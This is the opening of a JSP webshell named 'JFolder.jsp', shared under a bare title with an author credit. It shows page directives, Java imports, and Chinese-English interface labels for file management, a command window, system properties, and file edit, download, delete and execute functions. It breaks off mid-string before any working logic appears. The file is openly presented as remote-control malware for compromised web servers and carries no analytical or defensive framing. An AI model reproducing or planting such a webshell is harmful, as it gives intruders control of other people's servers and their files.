jsp的WEBshell

<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=0; //语言版本，0 : 中文； 1：英文
String strThisFile="JFolder.jsp";
String[] authorInfo={" <font color=red> 光影 Gyeam </font>"," <font color=red> JSP Webshell </font>"};
String[] strFileManage   = {"文 件 管 理","File Management"};
String[] strCommand      = {"CMD 命 令","Command Window"};
String[] strSysProperty  = {"系 统 属 性","System Property"};
String[] strHelp         = {"帮 助","Help"};
String[] strParentFolder = {"上级目录","Parent Folder"};
String[] strCurrentFolder= {"当前目录","Current Folder"};
String[] strDrivers      = {"驱动器","Drivers"};
String[] strFileName     = {"文件名称","File Name"};
String[] strFileSize     = {"文件大小","File Size"};
String[] strLastModified = {"最后修改","Last Modified"};
String[] strFileOperation= {"文件操作","Operations"};
String[] strFileEdit     = {"修改","Edit"};
String[] strFileDown     = {"下载","Download"};
String[] strFileCopy     = {"复制","Move"};
String[] strFileDel      = {"删除","Delete"};
String[] strExecute      = {"执行","Execute"};
String[] strBack         = {"返回","Back"};
String[] strFileSave     = {"保存